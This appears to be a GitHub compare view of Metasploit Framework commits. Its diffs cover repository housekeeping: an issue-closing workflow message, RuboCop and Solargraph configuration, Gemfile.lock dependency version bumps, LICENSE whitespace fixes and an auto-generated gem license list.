| 83bcd1cc1b | |||
| 088f359cee | |||
| 08cb115368 | |||
| 1245124afa | |||
| dde4445dab | |||
| 3fabcc3421 | |||
| 82005fe3cf | |||
| c8aa491378 | |||
| 3abd62076c | |||
| 89d9da87bd | |||
| a916163b49 | |||
| b3e6767125 | |||
| 380a66916f | |||
| 636d89cf67 | |||
| 75ed29964e | |||
| 41c231b803 | |||
| b8178397a9 | |||
| 2be54376bc | |||
| d92b6e328a | |||
| 1f370b3c9e | |||
| 87f046f351 | |||
| ac3e84d3fb | |||
| 524f5e4e63 | |||
| 8b03f2fda8 | |||
| 4cd50b4550 | |||
| fc76f5f039 | |||
| 3f1119c69e | |||
| 2f08cf6c46 | |||
| 47652e3b19 | |||
| 3c56cf7a15 | |||
| 363a3415df | |||
| b7d373d247 | |||
| 50fdd4536e | |||
| 49a2f481b6 | |||
| fe8afed994 | |||
| 020d2d3302 | |||
| f6bfa6a61b | |||
| 20dbc175d1 | |||
| 26d9026fc2 | |||
| fc8f94fff4 | |||
| 9706ee9d9e | |||
| ca6faed172 | |||
| 5311a491e9 | |||
| 7db2d86147 | |||
| 22ad9ebe7f | |||
| b19ab03da1 | |||
| a408e3e27f | |||
| 011ffb87bd | |||
| 5749b402af | |||
| 9a874c352b | |||
| 9e9e7ac938 | |||
| 0479215373 | |||
| eec73fe394 | |||
| 5e2f0965f3 | |||
| 8db255288b | |||
| 2ed89dda7e | |||
| fbf2e5d370 | |||
| f4549b0a1e | |||
| d21f6a10a2 | |||
| 6c5c158607 | |||
| 42bd87e0c1 | |||
| 4c25530afe | |||
| ae461c2395 | |||
| 59eb419d28 | |||
| d16905ca49 | |||
| 8a37cc6c88 | |||
| 8b27c2e8f7 | |||
| b2cc84228f | |||
| 65c11bd8c8 | |||
| fd5d10e610 | |||
| 743e5ffd9f | |||
| 10552cbc87 | |||
| 9ff4cdfd5c | |||
| 55371f9363 | |||
| 2de3142cde | |||
| b3f30f00a7 | |||
| b38d51edca | |||
| 6b36463086 | |||
| c0042ab0d2 | |||
| 9621f77bac | |||
| bf7884b2dc | |||
| 62439bbcd0 | |||
| 2b5b17916f | |||
| 690abcfe1f | |||
| f6ec3855b3 | |||
| 0c8df1a67b | |||
| 42146fc4ec | |||
| 80cec400bf | |||
| fc5f4983f6 | |||
| 647418745f | |||
| e1e39ad5bc | |||
| e625e2e474 | |||
| 6dbf22a5e7 | |||
| fa3baa40e6 | |||
| 963b9a9952 | |||
| 3854c30a11 | |||
| fc5d938d8c | |||
| 1b44973c80 | |||
| 239bc02db4 | |||
| 6e9a7a9d07 | |||
| 31a5125d78 | |||
| 5314d21e59 | |||
| db290369a4 | |||
| bf5919f461 | |||
| f61c3bcefc | |||
| fc5a38e870 | |||
| 1f45b1e4b7 | |||
| a2026182e1 | |||
| 75fb5e883d | |||
| bdc435f5c8 | |||
| 066d0a6f7e | |||
| c553f80cd9 | |||
| 38d8b70873 | |||
| c713da368d | |||
| 871c9c57f3 | |||
| 9cf2bbf352 | |||
| c6e9c8e3db | |||
| 676dd5cbbd | |||
| 292c160abf | |||
| ce9933fc4c | |||
| 73e82274dd | |||
| 197124dd76 | |||
| a3a6ae9c4a | |||
| c610949a5a | |||
| 44c393e2f1 | |||
| 71cecfb1d4 | |||
| 1c49b002d2 | |||
| 00d1637f3d | |||
| e7da4c4612 | |||
| 12c739b881 | |||
| 5a2ab6edd4 | |||
| ecd5ad29a7 | |||
| a8d2073eee | |||
| 86e8f5c484 | |||
| 5d8b1dc4a6 | |||
| 557042c91c | |||
| b89602bb7b | |||
| 301d25ddfa | |||
| a98368cfc5 | |||
| 5725dd2ded | |||
| 165b0f8d61 | |||
| ac9d60ce9e | |||
| 5d254cc36b | |||
| 78ae5f49ce | |||
| 304b90ecc8 | |||
| 8aed02de3d | |||
| bf57918454 | |||
| d1463df3cc | |||
| ff159c8760 | |||
| ca0b1ffe05 | |||
| 2e195b2742 | |||
| 0e86cfa6c7 | |||
| d012145726 | |||
| 96fecb6048 | |||
| 1dadd113dd | |||
| 9c3cfd8bdb | |||
| 45e453d687 | |||
| 9605b4bb91 | |||
| c3fa924cfa | |||
| 210b7a3254 | |||
| d6419ee4fb | |||
| 2a386981bd | |||
| f4c5e34a1b | |||
| fcfc39296f | |||
| 79b1801a4f | |||
| d5b7ad30a1 | |||
| a3f4dceb5b | |||
| 6b29b14c46 | |||
| dc8ee988f5 | |||
| a19bdde276 | |||
| 54c472ef18 | |||
| 036ed7f467 | |||
| 86fc617259 | |||
| 0cf7dd850f | |||
| e963582e18 | |||
| f2a86327d0 | |||
| 6343fc8f7c | |||
| fd6cd82f30 | |||
| 025ba6775d | |||
| 126e3a9c9a | |||
| 2608852d8c | |||
| aa9b3df6b3 | |||
| e420dc123d | |||
| c7279e9a0a | |||
| d4be663923 | |||
| 86f11b09fb | |||
| 406574722a | |||
| b97a288102 | |||
| ef53e3c52e | |||
| a215d64574 | |||
| 8aef054dfd | |||
| 4b05ba6189 | |||
| 427c181e9a | |||
| 19bcf8be7f | |||
| 35749a000a | |||
| 475813eb33 | |||
| 59332da8ce | |||
| ac9caa8894 | |||
| 7cff3cc2b0 | |||
| 4b3125d14b | |||
| 153f950f11 | |||
| 7e19141dfc | |||
| 687e82a9ed | |||
| b789e00ea7 | |||
| 61c2726620 | |||
| 62d43a6e96 | |||
| 27d6a89b99 | |||
| 453baca109 | |||
| 589c2257e3 | |||
| 3e54ae6e69 | |||
| 633c58a0ff | |||
| d0feedadbf | |||
| 99b2e1d709 | |||
| 14f992aa88 | |||
| 274bf6dcb7 | |||
| b67f001e2a | |||
| 1afecd0884 | |||
| 243c57c1fe | |||
| 990d5ccfad | |||
| 16c176dbe0 | |||
| a368f76a2a | |||
| 60bfa329fa | |||
| d83c2c3a5d | |||
| 676fda73b1 | |||
| 7494318ec4 | |||
| 93f579b180 | |||
| 0a99e2be6a | |||
| bdf5f8fbe4 | |||
| 7cd68e8f06 | |||
| 60c2f0a480 | |||
| 955fb2ef3e | |||
| eba4c4b047 | |||
| 7666b30b82 | |||
| 46c030a08b | |||
| 43d746c404 | |||
| c733dbc906 | |||
| cfc24f138a | |||
| 9850534d55 | |||
| 3624bee263 | |||
| dcec717a9b | |||
| 0a53cab369 | |||
| 45d0eb8bb4 | |||
| cc5c405941 | |||
| 1b690283db | |||
| cf6d5d3a14 | |||
| 8aca86b816 | |||
| 5c3ac339d0 | |||
| a3c82246a7 | |||
| 704cee436b | |||
| c1236500f1 | |||
| ff63f0aa32 | |||
| 6d676e9ac5 | |||
| 27f8f4fc47 | |||
| 7880530989 | |||
| 0e5f8d49f9 | |||
| 13a3d9d1ca | |||
| 7983c14166 | |||
| 3d73f574d4 | |||
| a05cbdbc30 | |||
| c9eaa9af37 | |||
| 34d191b06c | |||
| f1b97de78d | |||
| 54667a2424 | |||
| 1d400bd094 |
@@ -191,6 +191,14 @@ jobs:
|
||||
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
|
||||
`
|
||||
},
|
||||
attic: {
|
||||
close: true,
|
||||
comment: `
|
||||
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
|
||||
|
||||
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
|
||||
`
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -19,6 +19,8 @@ Gemfile.local.lock
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# Ignore Solargraph config file
|
||||
.solargraph.yml
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# target config file for testing
|
||||
|
||||
+17
-5
@@ -79,6 +79,17 @@ Lint/UnexpectedBlockArity:
|
||||
Lint/UnmodifiedReduceAccumulator:
|
||||
Enabled: true
|
||||
|
||||
Lint/UnusedMethodArgument:
|
||||
Description: >-
|
||||
Disabled on files under the lib/ directory (aka library files)
|
||||
as this can break YARD documentation since YARD doesn't recognize
|
||||
the _ prefix before parameter names and thinks its a different argument.
|
||||
See https://github.com/rapid7/metasploit-framework/pull/17735
|
||||
Also see https://github.com/rubocop/rubocop/pull/11020
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'lib/**/*'
|
||||
|
||||
Style/ArgumentsForwarding:
|
||||
Enabled: true
|
||||
|
||||
@@ -175,12 +186,13 @@ Lint/DeprecatedGemVersion:
|
||||
Exclude:
|
||||
- 'metasploit-framework.gemspec'
|
||||
|
||||
Metrics/ClassLength:
|
||||
Metrics/ModuleLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
- 'test/modules/**/*'
|
||||
Enabled: false
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit classes are quite large. This is ok.'
|
||||
Enabled: false
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
include:
|
||||
- "**/*.rb"
|
||||
exclude:
|
||||
- spec/**/*
|
||||
- test/**/*
|
||||
- vendor/**/*
|
||||
- ".bundle/**/*"
|
||||
- modules/**/*
|
||||
- data/**/*
|
||||
- db/**/*
|
||||
- external/**/*
|
||||
- plugins/**/*
|
||||
- scripts/**/* # Some of this is old and may not need indexing???
|
||||
require: []
|
||||
domains: []
|
||||
reporters:
|
||||
- rubocop
|
||||
- require_not_found
|
||||
formatter:
|
||||
rubocop:
|
||||
cops: safe
|
||||
except: []
|
||||
only: []
|
||||
extra_args: []
|
||||
require_paths: []
|
||||
plugins: []
|
||||
max_files: 0
|
||||
+106
-96
@@ -1,16 +1,19 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.2)
|
||||
metasploit-framework (6.3.22)
|
||||
actionpack (~> 7.0)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
aws-sdk-ec2
|
||||
aws-sdk-iam
|
||||
aws-sdk-s3
|
||||
aws-sdk-ssm
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bootsnap
|
||||
bson
|
||||
chunky_png
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
@@ -29,18 +32,18 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.108)
|
||||
metasploit-payloads (= 2.0.143)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.20)
|
||||
mqtt
|
||||
msgpack
|
||||
msgpack (~> 1.6.0)
|
||||
nessus_rest
|
||||
net-ldap
|
||||
net-smtp
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
nokogiri
|
||||
nokogiri (~> 1.14.0)
|
||||
octokit (~> 4.0)
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
@@ -97,74 +100,80 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (7.0.4.2)
|
||||
actionview (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
rack (~> 2.0, >= 2.2.0)
|
||||
actionpack (7.0.5)
|
||||
actionview (= 7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
actionview (7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
activerecord (7.0.4.2)
|
||||
activemodel (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
activesupport (7.0.4.2)
|
||||
activemodel (7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
activerecord (7.0.5)
|
||||
activemodel (= 7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
activesupport (7.0.5)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
addressable (2.8.1)
|
||||
addressable (2.8.4)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
afm (0.2.2)
|
||||
arel-helpers (2.14.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.707.0)
|
||||
aws-sdk-core (3.170.0)
|
||||
aws-partitions (1.776.0)
|
||||
aws-sdk-core (3.174.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.364.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-ec2 (1.382.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.75.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-iam (1.79.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.62.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-kms (1.66.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.119.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-s3 (1.123.1)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
aws-sdk-ssm (1.151.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.5.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.18)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.16.0)
|
||||
msgpack (~> 1.2)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.2.0)
|
||||
concurrent-ruby (1.2.2)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
debug (1.7.1)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
dnsruby (1.70.0)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
@@ -184,15 +193,15 @@ GEM
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
railties (>= 5.0.0)
|
||||
faker (3.1.1)
|
||||
faker (3.2.0)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.7.4)
|
||||
faraday (2.7.6)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.0.0)
|
||||
faraday-retry (2.2.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
faye-websocket (0.11.2)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
ffi (1.15.5)
|
||||
@@ -212,10 +221,10 @@ GEM
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.12.0)
|
||||
i18n (1.14.1)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.6.0)
|
||||
irb (1.6.2)
|
||||
irb (1.7.0)
|
||||
reline (>= 0.3.0)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
@@ -225,9 +234,9 @@ GEM
|
||||
logging (2.3.1)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.19.1)
|
||||
loofah (2.21.3)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
nokogiri (>= 1.12.0)
|
||||
memory_profiler (1.0.1)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (5.0.1)
|
||||
@@ -235,7 +244,7 @@ GEM
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.2)
|
||||
metasploit-credential (6.0.5)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -249,7 +258,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.108)
|
||||
metasploit-payloads (2.0.143)
|
||||
metasploit_data_models (6.0.2)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -262,24 +271,24 @@ GEM
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.20)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.1)
|
||||
minitest (5.17.0)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.6.0)
|
||||
mini_portile2 (2.8.2)
|
||||
minitest (5.18.0)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.0)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ldap (0.17.1)
|
||||
net-ldap (0.18.0)
|
||||
net-protocol (0.2.1)
|
||||
timeout
|
||||
net-smtp (0.3.3)
|
||||
net-protocol
|
||||
net-ssh (7.0.1)
|
||||
net-ssh (7.1.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.14.1)
|
||||
nio4r (2.5.9)
|
||||
nokogiri (1.14.5)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
@@ -291,9 +300,10 @@ GEM
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.22.1)
|
||||
parser (3.2.0.0)
|
||||
parallel (1.23.0)
|
||||
parser (3.2.2.3)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.11.0)
|
||||
@@ -302,7 +312,7 @@ GEM
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.5)
|
||||
pg (1.5.3)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -310,22 +320,23 @@ GEM
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.1)
|
||||
puma (6.0.2)
|
||||
puma (6.3.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.2)
|
||||
rack (2.2.6.2)
|
||||
rack-protection (3.0.5)
|
||||
racc (1.7.0)
|
||||
rack (2.2.7)
|
||||
rack-protection (3.0.6)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
rack-test (2.1.0)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.0.3)
|
||||
activesupport (>= 4.2.0)
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.5.0)
|
||||
loofah (~> 2.19, >= 2.19.1)
|
||||
railties (7.0.4.2)
|
||||
actionpack (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
rails-html-sanitizer (1.6.0)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.5)
|
||||
actionpack (= 7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
@@ -335,11 +346,11 @@ GEM
|
||||
rasn1 (0.12.1)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.0.3)
|
||||
recog (3.1.1)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.6.2)
|
||||
reline (0.3.2)
|
||||
regexp_parser (2.8.0)
|
||||
reline (0.3.5)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
rex-text
|
||||
@@ -349,12 +360,12 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.30)
|
||||
rex-core (0.1.31)
|
||||
rex-encoder (0.1.6)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.37)
|
||||
rex-exploitation (0.1.38)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -379,14 +390,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.47)
|
||||
rex-socket (0.1.52)
|
||||
rex-core
|
||||
rex-sslscan (0.1.9)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.3)
|
||||
rex-text (0.2.49)
|
||||
rex-text (0.2.52)
|
||||
rex-zip (0.1.4)
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
@@ -395,43 +406,43 @@ GEM
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.1)
|
||||
rspec-core (3.12.2)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.2)
|
||||
rspec-expectations (3.12.3)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.3)
|
||||
rspec-mocks (3.12.5)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.1)
|
||||
rspec-rails (6.0.3)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
railties (>= 6.1)
|
||||
rspec-core (~> 3.11)
|
||||
rspec-expectations (~> 3.11)
|
||||
rspec-mocks (~> 3.11)
|
||||
rspec-support (~> 3.11)
|
||||
rspec-core (~> 3.12)
|
||||
rspec-expectations (~> 3.12)
|
||||
rspec-mocks (~> 3.12)
|
||||
rspec-support (~> 3.12)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.12.0)
|
||||
rubocop (1.44.1)
|
||||
rubocop (1.52.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.2.0.0)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.24.1, < 2.0)
|
||||
rubocop-ast (>= 1.28.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.24.1)
|
||||
parser (>= 3.1.1.0)
|
||||
rubocop-ast (1.29.0)
|
||||
parser (>= 3.2.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.2.4)
|
||||
ruby_smb (3.2.5)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -448,37 +459,37 @@ GEM
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (3.0.5)
|
||||
sinatra (3.0.6)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.0.5)
|
||||
rack-protection (= 3.0.6)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.6.0)
|
||||
sqlite3 (1.6.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (2.0.0)
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
thin (1.8.1)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.1)
|
||||
tilt (2.0.11)
|
||||
thor (1.2.2)
|
||||
tilt (2.2.0)
|
||||
timecop (0.9.6)
|
||||
timeout (0.3.1)
|
||||
timeout (0.3.2)
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2022.7)
|
||||
tzinfo-data (1.2023.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.4.2)
|
||||
unix-crypt (1.3.0)
|
||||
unix-crypt (1.3.1)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.7.0)
|
||||
webrick (1.8.1)
|
||||
websocket-driver (0.7.5)
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
@@ -498,9 +509,8 @@ GEM
|
||||
activesupport (>= 4.2, < 8.0)
|
||||
xmlrpc (0.3.2)
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.6.6)
|
||||
yard (0.9.34)
|
||||
zeitwerk (2.6.8)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
@@ -152,7 +152,7 @@ Copyright: 2017 Yukihiro Matsumoto
|
||||
License: Ruby
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
Copyright: 2016-2023 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/msf/core/web_services/public/*
|
||||
@@ -227,7 +227,7 @@ Purpose: This module contains the source code for FUSE, which this module
|
||||
Files: modules/exploits/linux/local/ntfs3g_priv_esc.rb
|
||||
Copyright: 2017
|
||||
License: GPLv2
|
||||
Purpose: The Ruby file contains the text of several modules from exploit-db
|
||||
Purpose: The Ruby file contains the text of several modules from exploit-db
|
||||
which it compiles and uploads to the target to elevate privileges.
|
||||
|
||||
Files: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
|
||||
@@ -239,7 +239,7 @@ Purpose: This module targets a vulnerability in Metasploit Framework versions
|
||||
Files: modules/exploits/windows/smb/ms04_007_killbill.rb
|
||||
Copyright: 2004, Solar Eclipse
|
||||
License: GPL
|
||||
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
|
||||
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
|
||||
SP2-SP4 and Windows XP SP0-SP1. It contains code ported from a GPLv2
|
||||
module.
|
||||
|
||||
@@ -255,7 +255,7 @@ Purpose: This module allows us to create an x64 Windows messagebox payload.
|
||||
Files: modules/post/linux/dos/xen_420_dos.rb
|
||||
Copyright: 2016
|
||||
License: GPL
|
||||
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
|
||||
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
|
||||
paravirtualized VM. It contains a short code section licensed through
|
||||
GPL.
|
||||
|
||||
|
||||
+74
-71
@@ -1,37 +1,40 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 7.0.4.2, MIT
|
||||
actionview, 7.0.4.2, MIT
|
||||
activemodel, 7.0.4.2, MIT
|
||||
activerecord, 7.0.4.2, MIT
|
||||
activesupport, 7.0.4.2, MIT
|
||||
addressable, 2.8.1, "Apache 2.0"
|
||||
actionpack, 7.0.5, MIT
|
||||
actionview, 7.0.5, MIT
|
||||
activemodel, 7.0.5, MIT
|
||||
activerecord, 7.0.5, MIT
|
||||
activesupport, 7.0.5, MIT
|
||||
addressable, 2.8.4, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.701.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.170.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.362.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.74.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.62.0, "Apache 2.0"
|
||||
